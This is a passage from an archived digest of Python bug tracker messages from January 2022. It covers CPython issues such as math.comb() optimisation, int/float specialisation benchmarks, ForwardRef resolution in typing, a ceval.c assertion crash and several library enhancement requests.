Islington (bot) in branch '3.9': bpo-46280: Fix tracemalloc_copy_domain() (GH-30591) https://github.com/python/cpython/commit/ae6e255cb362557ff713ff2967aecb92f7eb069c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 00:44:48 2022 From: report at bugs.python.org (Tim Peters) Date: Fri, 14 Jan 2022 05:44:48 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1642139088.89.0.764398746032.issue37295@roundup.psfhosted.org> Tim Peters added the comment: I was thinking about comb(1000000, 500000) The simple "* --n / ++k" loop does 499,999 each of multiplication and division, and in all instances the second operand is a single Python digit. Cheap as can be. In contrast, despite that it short-circuits all "small k" cases, comb_pole2.py executes return C(n, j) * C(n-j, k-j) // C(k, j) # Recursive case 7,299,598 times. Far more top-level arithmetic operations, including extra-expensive long division with both operands multi-digit. At the very top of the tree, "// C(500000, 250000)" is dividing out nearly half a million bits. But a tiny Python function coding the simple loop takes about 150 seconds, while Raymond's C() about 30 (under the released 3.10.1). The benefits from provoking Karatsuba are major. Just for the heck of it, I coded a complication of the simple loop that just tries to provoke Karatsuba on the numerator (prod(range(n, n-k, -1))), and dividing that just once at the end, by factorial(k). That dropped the time to about 17.5 seconds. Over 80% of that time is spent computing the "return" expression, where len(p) is 40 and only 7 entries pass the x>1 test: return prod(x for x in p if x > 1) // factorial(k) That is, with really big results, almost everything is mostly noise compared to the time needed to do the relative handful of * and // on the very largest intermediate results. Stefan's code runs much faster still, but requires storage proportional to k. The crude hack I used needs a fixed (independent of k and n) and small amount of temp storage, basically grouping inputs into buckets roughly based on the log _of_ their log, and keeping only one int per bucket. Here's the code: def pcomb2(n, k): from math import prod, factorial assert 0 <= k <= n k = min(k, n-k) PLEN = 40 # good enough for ints with over a trillion bits p = [1] * PLEN def fold_into_p(x): if x == 1: return while True: i = max(x.bit_length().bit_length() - 5, 0) if p[i] == 1: p[i] = x break x *= p[i] p[i] = 1 def showp(): for i in range(PLEN): pi = p[i] if pi > 1: print(i, pi.bit_length()) for i in range(k): fold_into_p(n) n -= 1 showp() return prod(x for x in p if x > 1) // factorial(k) I'm not sure it's practical. For example, while the list p[] can be kept quite small, factorial(k) can require a substantial amount of temp storage of its own - factorial(500000) in the case at hand is an int approaching 9 million bits. Note: again in the case at hand, computing it via factorial(1000000) // factorial(500000)**2 takes about 10% longer than Raymond's C() function. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 00:59:37 2022 From: report at bugs.python.org (Dong-hee Na) Date: Fri, 14 Jan 2022 05:59:37 +0000 Subject: [issue46368] faulthandler: add the ability to dump all interpreters, not only the current interpreter In-Reply-To: <1642105604.41.0.0582703431564.issue46368@roundup.psfhosted.org> Message-ID: <1642139977.79.0.00968964616052.issue46368@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 01:42:28 2022 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 14 Jan 2022 06:42:28 +0000 Subject: [issue46372] int/float specializations should mutate the LHS in-place when possible Message-ID: <1642142548.34.0.279604179898.issue46372@roundup.psfhosted.org> New submission from Brandt Bucher : The performance of our existing int and float specializations can be improved by mutating the LHS operand in-place when possible. This leads to significant speedups for several number-crunching benchmarks, and a solid 1% improvement overall: Slower (16): - regex_effbot: 3.14 ms +- 0.01 ms -> 3.26 ms +- 0.03 ms: 1.04x slower - pidigits: 197 ms +- 0 ms -> 203 ms +- 0 ms: 1.03x slower - pickle_list: 4.40 us +- 0.05 us -> 4.51 us +- 0.05 us: 1.02x slower - logging_silent: 106 ns +- 2 ns -> 108 ns +- 1 ns: 1.02x slower - unpickle_pure_python: 248 us +- 2 us -> 253 us +- 4 us: 1.02x slower - xml_etree_generate: 80.3 ms +- 0.5 ms -> 81.5 ms +- 0.7 ms: 1.02x slower - telco: 6.50 ms +- 0.10 ms -> 6.60 ms +- 0.11 ms: 1.02x slower - go: 149 ms +- 1 ms -> 151 ms +- 2 ms: 1.01x slower - pickle: 9.82 us +- 0.07 us -> 9.94 us +- 0.13 us: 1.01x slower - xml_etree_process: 58.0 ms +- 0.6 ms -> 58.6 ms +- 0.5 ms: 1.01x slower - pickle_pure_python: 329 us +- 5 us -> 332 us +- 2 us: 1.01x slower - regex_dna: 217 ms +- 3 ms -> 219 ms +- 0 ms: 1.01x slower - json_loads: 25.3 us +- 0.2 us -> 25.6 us +- 0.3 us: 1.01x slower - scimark_fft: 328 ms +- 9 ms -> 331 ms +- 5 ms: 1.01x slower - 2to3: 263 ms +- 1 ms -> 264 ms +- 1 ms: 1.01x slower - deltablue: 4.20 ms +- 0.04 ms -> 4.22 ms +- 0.03 ms: 1.00x slower Faster (24): - scimark_sparse_mat_mult: 4.82 ms +- 0.20 ms -> 4.31 ms +- 0.37 ms: 1.12x faster - spectral_norm: 97.0 ms +- 0.8 ms -> 89.3 ms +- 0.6 ms: 1.09x faster - fannkuch: 418 ms +- 7 ms -> 385 ms +- 4 ms: 1.08x faster - unpack_sequence: 48.6 ns +- 2.6 ns -> 46.1 ns +- 3.5 ns: 1.05x faster - scimark_lu: 115 ms +- 4 ms -> 110 ms +- 2 ms: 1.05x faster - scimark_monte_carlo: 72.2 ms +- 1.1 ms -> 69.9 ms +- 0.8 ms: 1.03x faster - nbody: 99.4 ms +- 2.1 ms -> 96.9 ms +- 1.7 ms: 1.03x faster - chaos: 72.5 ms +- 0.7 ms -> 70.9 ms +- 0.5 ms: 1.02x faster - nqueens: 84.6 ms +- 0.7 ms -> 82.8 ms +- 0.5 ms: 1.02x faster - pickle_dict: 27.1 us +- 0.1 us -> 26.7 us +- 0.1 us: 1.02x faster - regex_v8: 24.3 ms +- 0.4 ms -> 24.0 ms +- 0.4 ms: 1.01x faster - sqlalchemy_imperative: 19.1 ms +- 0.7 ms -> 18.8 ms +- 0.2 ms: 1.01x faster - float: 77.4 ms +- 0.9 ms -> 76.7 ms +- 0.9 ms: 1.01x faster - sqlalchemy_declarative: 147 ms +- 3 ms -> 146 ms +- 3 ms: 1.01x faster - hexiom: 6.68 ms +- 0.06 ms -> 6.63 ms +- 0.03 ms: 1.01x faster - sympy_sum: 169 ms +- 2 ms -> 168 ms +- 2 ms: 1.01x faster - json_dumps: 12.8 ms +- 0.2 ms -> 12.7 ms +- 0.2 ms: 1.01x faster - logging_format: 6.42 us +- 0.08 us -> 6.37 us +- 0.09 us: 1.01x faster - python_startup_no_site: 5.81 ms +- 0.00 ms -> 5.77 ms +- 0.00 ms: 1.01x faster - sympy_integrate: 21.5 ms +- 0.1 ms -> 21.4 ms +- 0.1 ms: 1.01x faster - dulwich_log: 65.4 ms +- 0.5 ms -> 65.1 ms +- 0.5 ms: 1.00x faster - crypto_pyaes: 83.5 ms +- 0.5 ms -> 83.1 ms +- 0.4 ms: 1.00x faster - raytrace: 309 ms +- 3 ms -> 307 ms +- 2 ms: 1.00x faster - python_startup: 8.18 ms +- 0.01 ms -> 8.15 ms +- 0.01 ms: 1.00x faster Benchmark hidden because not significant (18): chameleon, django_template, logging_simple, mako, meteor_contest, pathlib, pyflate, regex_compile, richards, scimark_sor, sqlite_synth, sympy_expand, sympy_str, tornado_http, unpickle, unpickle_list, xml_etree_parse, xml_etree_iterparse Geometric mean: 1.01x faster ---------- assignee: brandtbucher components: Interpreter Core messages: 410544 nosy: Mark.Shannon, brandtbucher, gvanrossum priority: normal severity: normal status: open title: int/float specializations should mutate the LHS in-place when possible type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 01:44:09 2022 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 14 Jan 2022 06:44:09 +0000 Subject: [issue46372] int/float specializations should mutate the LHS in-place when possible In-Reply-To: <1642142548.34.0.279604179898.issue46372@roundup.psfhosted.org> Message-ID: <1642142649.83.0.0255377991087.issue46372@roundup.psfhosted.org> Change by Brandt Bucher : ---------- keywords: +patch pull_requests: +28792 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30594 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 01:50:31 2022 From: report at bugs.python.org (aaron) Date: Fri, 14 Jan 2022 06:50:31 +0000 Subject: [issue46223] asyncio cause infinite loop during debug In-Reply-To: <1641094564.17.0.420361476444.issue46223@roundup.psfhosted.org> Message-ID: <1642143031.8.0.244898001319.issue46223@roundup.psfhosted.org> aaron added the comment: "When running code in debug mode" means we're debug the code. We have used both vscode and pycharm. Same result. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 01:53:02 2022 From: report at bugs.python.org (aaron) Date: Fri, 14 Jan 2022 06:53:02 +0000 Subject: [issue46223] asyncio cause infinite loop during debug In-Reply-To: <1641094564.17.0.420361476444.issue46223@roundup.psfhosted.org> Message-ID: <1642143182.89.0.266427358444.issue46223@roundup.psfhosted.org> aaron added the comment: '@reprlib.recursive_repr' decorator to 'events.Handle.__repr__()' could you tell me which file should I change? and why? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 02:23:13 2022 From: report at bugs.python.org (Alex Waygood) Date: Fri, 14 Jan 2022 07:23:13 +0000 Subject: [issue46369] get_type_hints does not evaluate ForwardRefs inside NewType In-Reply-To: <1642110574.72.0.371429646126.issue46369@roundup.psfhosted.org> Message-ID: <1642144993.94.0.83340593344.issue46369@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +AlexWaygood, sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 02:31:01 2022 From: report at bugs.python.org (Alex Waygood) Date: Fri, 14 Jan 2022 07:31:01 +0000 Subject: [issue46371] A better way to resolve ForwardRefs in type aliases across modules In-Reply-To: <1642117695.26.0.396895524876.issue46371@roundup.psfhosted.org> Message-ID: <1642145461.36.0.275875614424.issue46371@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 04:06:20 2022 From: report at bugs.python.org (Andreas H.) Date: Fri, 14 Jan 2022 09:06:20 +0000 Subject: [issue46373] TypedDict and NamedTuple do not evaluate cross-module ForwardRef in all cases Message-ID: <1642151180.4.0.790714368451.issue46373@roundup.psfhosted.org> New submission from Andreas H. : TypedDict does not resolve cross-module ForwardRefs when the ForwardRef is not a direct one. In other words the fix GH-27017 (issue 41249) for TypedDict seems incomplete. The same issue seem to exist for NamedTuple. Example: #module.py TD = typing.TypedDict("TD", {'test': typing.List[typing.Optional['Y']]}) class Y: pass # other module class TDSub(module.TD): a: int get_type_hints(TDSub) # -> Exception NameError: Y not found On the other hand, with direct ForwardRef, as e.g. in TD = typing.TypedDict("TD", {'test': 'Y' } ) it works (that was indeed fixed by GH-27017) Same issue exists for NamedTuple. There neither of the above works, i.e. cross-module ForwardRefs are never resolve (but they could - als NamedTuple has the __module__ member set with to calling module). I am not sure if inheritance for NamedTuple is supported so I do not know if it is really a bug. The problem in the code is that in TypedDict the `module` parameter is passed only onto the immediate ForwardRef. One option could be to recursively walk the type and search for unpatched ForwardRefs and set the module parameter. On the other hand, the retroactive patching of forward refs is problematic as it may mess with the caching mechanism im typing.py. There may be a type with ForwardRef already in cache (and used by more than one user), but only for one user the `module` is to be updated. So probably a correct implementation is tricky, or some other way has to be found to update the `module` of ForwardRefs (e.g. by copying the type tree). For NamedTuple the whole mechanism of passing the `module` parameter to the ForwardRefs is not done (not even for direct ForwardRef ones). Not sure how important this (likely not very) is as I do not use TypedDict and NamedTuple. This is just to report it. ---------- components: Library (Lib) messages: 410547 nosy: AlexWaygood, Jelle Zijlstra, andreash, gvanrossum, kj, kumaraditya303, sobolevn priority: normal severity: normal status: open title: TypedDict and NamedTuple do not evaluate cross-module ForwardRef in all cases type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 04:20:26 2022 From: report at bugs.python.org (neonene) Date: Fri, 14 Jan 2022 09:20:26 +0000 Subject: [issue46362] os.path.abspath() needs more normalization on Windows In-Reply-To: <1642043334.67.0.821615538751.issue46362@roundup.psfhosted.org> Message-ID: <1642152026.41.0.0558525865882.issue46362@roundup.psfhosted.org> Change by neonene : ---------- pull_requests: +28793 pull_request: https://github.com/python/cpython/pull/30595 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 04:50:10 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 14 Jan 2022 09:50:10 +0000 Subject: [issue46369] get_type_hints does not evaluate ForwardRefs inside NewType In-Reply-To: <1642110574.72.0.371429646126.issue46369@roundup.psfhosted.org> Message-ID: <1642153810.52.0.671200318872.issue46369@roundup.psfhosted.org> Nikita Sobolev added the comment: I think we should go with `1)` and `A`. Adding a special case for getting hints from `NewType` directly does seem inconsistent with other type-constructs. Do you want to fix this? :) Or I can work on it today if you wish! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 04:50:43 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 14 Jan 2022 09:50:43 +0000 Subject: [issue46369] get_type_hints does not evaluate ForwardRefs inside NewType In-Reply-To: <1642110574.72.0.371429646126.issue46369@roundup.psfhosted.org> Message-ID: <1642153843.44.0.122834071283.issue46369@roundup.psfhosted.org> Nikita Sobolev added the comment: Oh, I mean `1)` and `B` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 05:04:33 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 14 Jan 2022 10:04:33 +0000 Subject: [issue46374] Assertion failed in ceval.c Message-ID: <1642154673.28.0.417498068178.issue46374@roundup.psfhosted.org> Change by Kumar Aditya : ---------- components: Interpreter Core nosy: kumaraditya303 priority: normal severity: normal status: open title: Assertion failed in ceval.c type: crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 05:04:47 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 14 Jan 2022 10:04:47 +0000 Subject: [issue46374] Assertion failed in ceval.c Message-ID: <1642154687.72.0.720020545966.issue46374@roundup.psfhosted.org> Change by Kumar Aditya : ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 05:06:30 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 14 Jan 2022 10:06:30 +0000 Subject: [issue46374] Assertion failed in ceval.c Message-ID: <1642154790.61.0.270697807965.issue46374@roundup.psfhosted.org> New submission from Kumar Aditya : The following code causes Assertion failed on Windows 11 import cProfile def test(): import sys import dis with cProfile.Profile() as p: test() Error: ? ./python.bat main.py Running Debug|x64 interpreter... Assertion failed: frame->f_lasti >= 0, file D:\cpython\Python\ceval.c, line 6509 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 05:07:52 2022 From: report at bugs.python.org (xoph) Date: Fri, 14 Jan 2022 10:07:52 +0000 Subject: [issue46364] asyncio subprocess cannot read from /dev/stdin In-Reply-To: <1642062291.75.0.573432882614.issue46364@roundup.psfhosted.org> Message-ID: <1642154872.31.0.315416070906.issue46364@roundup.psfhosted.org> Change by xoph : ---------- keywords: +patch pull_requests: +28794 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30596 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 05:10:27 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 14 Jan 2022 10:10:27 +0000 Subject: [issue46374] Assertion failed in ceval.c In-Reply-To: <1642154790.61.0.270697807965.issue46374@roundup.psfhosted.org> Message-ID: <1642155027.54.0.624199668567.issue46374@roundup.psfhosted.org> Kumar Aditya added the comment: Tested commit is 7c770d3350813a82a639fcb3babae0de2b87aaae ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 05:14:02 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 14 Jan 2022 10:14:02 +0000 Subject: [issue46374] Assertion failed in ceval.c In-Reply-To: <1642154790.61.0.270697807965.issue46374@roundup.psfhosted.org> Message-ID: <1642155242.96.0.512239755521.issue46374@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +Mark.Shannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 05:38:32 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 14 Jan 2022 10:38:32 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642156712.98.0.393495356737.issue40280@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +28795 pull_request: https://github.com/python/cpython/pull/30597 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 05:39:24 2022 From: report at bugs.python.org (Marcel Martin) Date: Fri, 14 Jan 2022 10:39:24 +0000 Subject: [issue46375] io.BytesIO does not have peek() Message-ID: <1642156764.85.0.265737268073.issue46375@roundup.psfhosted.org> New submission from Marcel Martin : It would be great to be able to use peek() on BytesIO objects. I have a function that gets passed a file-like object and uses peek() on it. This works for nearly all types of files relevant in my library, except BytesIO instances (which I use during testing), for which I need to add a small workaround using tell() and seek(). ---------- components: Library (Lib) messages: 410552 nosy: marcelm priority: normal severity: normal status: open title: io.BytesIO does not have peek() type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 05:46:27 2022 From: report at bugs.python.org (Matan Perelman) Date: Fri, 14 Jan 2022 10:46:27 +0000 Subject: [issue31116] base85 z85 variant encoding In-Reply-To: <1501799542.97.0.652442678927.issue31116@psf.upfronthosting.co.za> Message-ID: <1642157187.84.0.824940482442.issue31116@roundup.psfhosted.org> Change by Matan Perelman : ---------- keywords: +patch nosy: +matan1008 nosy_count: 3.0 -> 4.0 pull_requests: +28796 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30598 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 05:52:39 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 14 Jan 2022 10:52:39 +0000 Subject: [issue46375] io.BytesIO does not have peek() In-Reply-To: <1642156764.85.0.265737268073.issue46375@roundup.psfhosted.org> Message-ID: <1642157559.87.0.145728327368.issue46375@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +benjamin.peterson, kumaraditya303, stutzbach _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 06:07:57 2022 From: report at bugs.python.org (Mark Shannon) Date: Fri, 14 Jan 2022 11:07:57 +0000 Subject: [issue46374] Assertion failed in ceval.c In-Reply-To: <1642154790.61.0.270697807965.issue46374@roundup.psfhosted.org> Message-ID: <1642158477.76.0.638852634946.issue46374@roundup.psfhosted.org> Mark Shannon added the comment: I can reproduce this on linux. The problem is that when closing a generator that has not started, the frame may not be in a valid state (hence the assertion failure). This should be fixed by implementing https://github.com/faster-cpython/ideas/discussions/217 as that will ensure that the frame is in a valid state before the generator is created. I'll make implementing https://github.com/faster-cpython/ideas/discussions/217 a priority in order to fix this. ---------- assignee: -> Mark.Shannon nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 06:11:54 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 14 Jan 2022 11:11:54 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642158714.77.0.858707209861.issue40280@roundup.psfhosted.org> Christian Heimes added the comment: New changeset c8319f7921fbcb0dea04da48a1b04a5d0d21ae1c by Christian Heimes in branch 'main': bpo-40280: Build WASM stdlib bundle and more modules for node (GH-30597) https://github.com/python/cpython/commit/c8319f7921fbcb0dea04da48a1b04a5d0d21ae1c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 06:12:18 2022 From: report at bugs.python.org (Aviram) Date: Fri, 14 Jan 2022 11:12:18 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list Message-ID: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> New submission from Aviram : This is re-open of https://bugs.python.org/issue5945. In the former issue, it was decided that documenting the odd behavior and later providing clean, good ABC C API would be the long term solution. Few years passed and there are no alternatives AFAIK I am wondering if that's due to lack of resources or just forgotten? I don't mind contributing the necessary change in case there's really nothing in progress and it is something Python community wants to fix. Hopefully there's an existing solution and I just didn't search well enough. ---------- components: C API messages: 410555 nosy: aviramha priority: normal severity: normal status: open title: PyMapping_Check returns 1 for list type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 06:18:28 2022 From: report at bugs.python.org (Aviram) Date: Fri, 14 Jan 2022 11:18:28 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642159108.54.0.128332641809.issue46376@roundup.psfhosted.org> Change by Aviram : ---------- nosy: +benjamin.peterson, bukzor, georg.brandl, jmillikin, levkivskyi, miss-islington, pitrou, rhettinger, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 06:49:08 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 11:49:08 +0000 Subject: [issue45991] Improve ambiguous docstrings in pkgutil In-Reply-To: <1638730607.25.0.754715317111.issue45991@roundup.psfhosted.org> Message-ID: <1642160948.74.0.102640250924.issue45991@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 07:09:05 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 14 Jan 2022 12:09:05 +0000 Subject: [issue46269] '__new__' is never shown in `dir(SomeEnum)` In-Reply-To: <1641395711.58.0.712103911409.issue46269@roundup.psfhosted.org> Message-ID: <1642162145.5.0.49500140272.issue46269@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 07:09:37 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 14 Jan 2022 12:09:37 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default In-Reply-To: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> Message-ID: <1642162177.63.0.0921215270557.issue46345@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 08:08:39 2022 From: report at bugs.python.org (Aviram) Date: Fri, 14 Jan 2022 13:08:39 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642165719.33.0.920738337321.issue46376@roundup.psfhosted.org> Aviram added the comment: https://github.com/PyO3/pyo3/issues/2072 Relevant discussion in PyO3 related issue ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 08:31:40 2022 From: report at bugs.python.org (Ashley Anderson) Date: Fri, 14 Jan 2022 13:31:40 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642167100.63.0.0462511433964.issue46376@roundup.psfhosted.org> Change by Ashley Anderson : ---------- nosy: +aganders3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 08:33:54 2022 From: report at bugs.python.org (Aviram) Date: Fri, 14 Jan 2022 13:33:54 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642167234.28.0.523121734052.issue46376@roundup.psfhosted.org> Aviram added the comment: Would checking the TPFLAGS for `Py_TPFLAGS_SEQUENCE` & `Py_TPFLAGS_MAPPING` when using `PySequence_Check` & `PyMapping_Check` be a valid fix? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 08:50:48 2022 From: report at bugs.python.org (Mike Schiessl) Date: Fri, 14 Jan 2022 13:50:48 +0000 Subject: [issue46377] TimedRotatingFileHandler "midnight" misleading when interval > 1 Message-ID: <1642168248.18.0.205175918146.issue46377@roundup.psfhosted.org> New submission from Mike Schiessl : Using the TimedRotatingFileHandler along with "when='midnight'" and interval > 1, midnight is handled equally to "days" which is a little misleading. Expectation: setting when to 'midnight', the file is rotated every midnight (interval value should be ignored) Current behavior: If 'midnight' is given alongside with an interval greater than 1 (.e.g 5), the (internal) interval (24*60*60) is calculated with the given interval -> 24*60*60 * 5. In my case, this led to some unforeseeable and unexpected behavior. ---------- components: Library (Lib) messages: 410558 nosy: mschiess, vinay.sajip priority: normal severity: normal status: open title: TimedRotatingFileHandler "midnight" misleading when interval > 1 type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 08:53:17 2022 From: report at bugs.python.org (Roundup Robot) Date: Fri, 14 Jan 2022 13:53:17 +0000 Subject: [issue46377] TimedRotatingFileHandler "midnight" misleading when interval > 1 In-Reply-To: <1642168248.18.0.205175918146.issue46377@roundup.psfhosted.org> Message-ID: <1642168397.0.0.582760744274.issue46377@roundup.psfhosted.org> Change by Roundup Robot : ---------- keywords: +patch nosy: +python-dev nosy_count: 2.0 -> 3.0 pull_requests: +28797 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30599 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 08:56:49 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 13:56:49 +0000 Subject: [issue45492] stdlib inspect documentation on code.co_names is incorrect In-Reply-To: <1634381128.63.0.689395571563.issue45492@roundup.psfhosted.org> Message-ID: <1642168609.39.0.409446021655.issue45492@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 09:02:16 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 14:02:16 +0000 Subject: [issue32876] HTMLParser raises exception on some inputs In-Reply-To: <1519069936.36.0.467229070634.issue32876@psf.upfronthosting.co.za> Message-ID: <1642168936.26.0.748292821292.issue32876@roundup.psfhosted.org> Irit Katriel added the comment: The error() method was removed in issue31844. ---------- resolution: -> out of date stage: patch review -> resolved status: open -> closed superseder: -> HTMLParser: undocumented not implemented method _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 09:05:30 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 14:05:30 +0000 Subject: [issue44594] AsyncExitStack.enter_async_context() is mishandling exception __context__ In-Reply-To: <1625875193.61.0.628325060677.issue44594@roundup.psfhosted.org> Message-ID: <1642169130.3.0.748375781654.issue44594@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 09:18:37 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 14:18:37 +0000 Subject: [issue38656] [doc] clarify what data the mimetypes.MimeTypes class uses In-Reply-To: <1572548711.23.0.824957089431.issue38656@roundup.psfhosted.org> Message-ID: <1642169917.9.0.463990981848.issue38656@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: -patch title: mimetypes for python 3.7.5 fails to detect matroska video -> [doc] clarify what data the mimetypes.MimeTypes class uses versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 09:21:47 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 14:21:47 +0000 Subject: [issue44577] Probably defect in Python 3.7.11 In-Reply-To: <1625652920.8.0.16553812104.issue44577@roundup.psfhosted.org> Message-ID: <1642170107.77.0.421570376772.issue44577@roundup.psfhosted.org> Irit Katriel added the comment: Python 3,7 is no longer maintained. Please create a new issue if you see this on a current version (>= 3.9) and are able to provide more information. ---------- nosy: +iritkatriel resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 09:29:29 2022 From: report at bugs.python.org (Hanno Boeck) Date: Fri, 14 Jan 2022 14:29:29 +0000 Subject: [issue32876] HTMLParser raises exception on some inputs In-Reply-To: <1519069936.36.0.467229070634.issue32876@psf.upfronthosting.co.za> Message-ID: <1642170569.89.0.465408998029.issue32876@roundup.psfhosted.org> Hanno Boeck added the comment: Now the example code raises an AssertionError(). Is that intended? I don't think that's any better. I usually wouldn't expect an HTML parser to raise any error if you pass it a string, but instead to do fault tolerant parsing. And if it's expected that some inputs can generate exceptions, at least I think this should be properly documented. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 09:30:39 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 14:30:39 +0000 Subject: [issue42609] Eval with too high string multiplication crashes newer Python versions In-Reply-To: <1607511907.66.0.321451468972.issue42609@roundup.psfhosted.org> Message-ID: <1642170639.13.0.959730254637.issue42609@roundup.psfhosted.org> Irit Katriel added the comment: Apart from the 3.9 backport this is 